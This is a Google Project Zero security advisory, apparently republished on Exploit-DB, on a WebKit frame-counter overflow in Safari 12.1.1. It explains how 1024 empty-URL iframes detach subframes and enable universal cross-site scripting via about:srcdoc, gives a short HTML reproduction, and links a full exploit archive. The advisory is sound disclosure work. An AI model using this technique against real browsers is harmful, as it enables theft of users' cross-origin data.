VULNERABILITY DETAILS
HTMLFrameElementBase.cpp:
```
bool HTMLFrameElementBase::isURLAllowed() const
{
    if (m_URL.isEmpty()) // ***4***
        return true;

    return isURLAllowed(document().completeURL(m_URL));
}

bool HTMLFrameElementBase::isURLAllowed(const URL& completeURL) const
{
    if (document().page() && document().page()->subframeCount() >= Page::maxNumberOfFrames) // ***3***
        return false;

    if (completeURL.isEmpty())
        return true;

    if (WTF::protocolIsJavaScript(completeURL)) {
        RefPtr<Document> contentDoc = this->contentDocument();
        if (contentDoc && !ScriptController::canAccessFromCurrentOrigin(contentDoc->frame(), document()))
            return false;
    }

    RefPtr<Frame> parentFrame = document().frame();
    if (parentFrame)
        return parentFrame->isURLAllowed(completeURL);

    return true;
}

void HTMLFrameElementBase::openURL(LockHistory lockHistory, LockBackForwardList lockBackForwardList)
{
    if (!isURLAllowed())
        return;

[...]

    parentFrame->loader().subframeLoader().requestFrame(*this, m_URL, frameName, lockHistory, lockBackForwardList);
```

NodeRarData.h:
```
class NodeRareData : public NodeRareDataBase {
[...]
private:
    unsigned m_connectedFrameCount : 10; // Must fit Page::maxNumberOfFrames. ***1***
```

Page.h:
```
class Page : public Supplementable<Page>, public CanMakeWeakPtr<Page> {
[...]
    // Don't allow more than a certain number of frames in a page.
    // This seems like a reasonable upper bound, and otherwise mutually
    // recursive frameset pages can quickly bring the program to its knees
    // with exponential growth in the number of frames.
    static const int maxNumberOfFrames = 1000; // ***2***
```

Every DOM node stores the number of child frames currently attached to the subtree to speed up the
`disconnectSubframes` algorithm; more specifically, when the number of connected frames for a given
node is zero, its subtree won't be traversed. The value is stored as a 10-bit integer[1], so, to
protect it from overflowing, an upper bound for the total count of attached subframes has been
introduced[2]. It's enforced inside `isURLAllowed`[3] along with some other URL-specific checks. The
problem is if the current URL is empty, all the checks will be skipped[4].

Therefore, an attacker can insert exactly 1024 frame elements with an empty URL into a node, so its
connected subframe counter will overflow and become zero. Later, when the node is removed from the
document tree, the subframes won't be detached.

The attacker can also abuse the flaw to make a subframe "survive" a cross-origin page load because
`disconnectDescendantFrames`, which is called during the document replacement, only processes   
`iframe` elements inside the document tree. Then, if the subframe is navigated to the `about:srcdoc`
URL, the new document will inherit the security context from its parent document, which can be an
arbitrary cross-origin page, while the contents will be attacker-controlled.

Moving the check closer to the actual frame creation in `SubframeLoader::loadSubframe` should fix
the issue. Besides, since the `srcdoc` technique can be reused in other UXSS bugs, I think it's
reasonable to try to break it. One way to achieve that is to replace the
`disconnectDescendantFrames` call in `Document::prepareForDestruction` with a call to
`FrameLoader::detachChildren`, which detaches subframes regardless of whether their associated
elements are attached to the document tree. However, I'm not sure if this change would be safe. The
attached patch just adds a release assertion after `disconnectDescendantFrames` to ensure that all
subframes have been detached. The solution is not too elegant, but a similar fix in Blink
(https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/dom/document.cc?rcl=a34380189132e826108a71d9f6024b863ce1dcaf&l=3115)
has proved to be effective.


VERSION
WebKit revision 247430 
Safari version 12.1.1 (14607.2.6.1.1)


REPRODUCTION CASE
The minimal test case that demonstrates the issue is as follows:
```
<body>
<script>
const FRAME_COUNT = 1024;

let container = document.body.appendChild(document.createElement('div'));
for (let i = 0; i < FRAME_COUNT; ++i) {
  let frame = container.appendChild(document.createElement('iframe'));
  frame.style.display = 'none';
}
container.remove();

frame = container.firstChild;
alert(`
  <iframe> is not attached to the document tree, but still has a content frame!
  frame.parentNode.parentNode: ${frame.parentNode.parentNode}
  frame.contentWindow: ${frame.contentWindow}
`);
</script>
</body>
```

The full UXSS exploit is in the attached archive.


CREDIT INFORMATION
Sergei Glazunov of Google Project Zero


Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47552.zip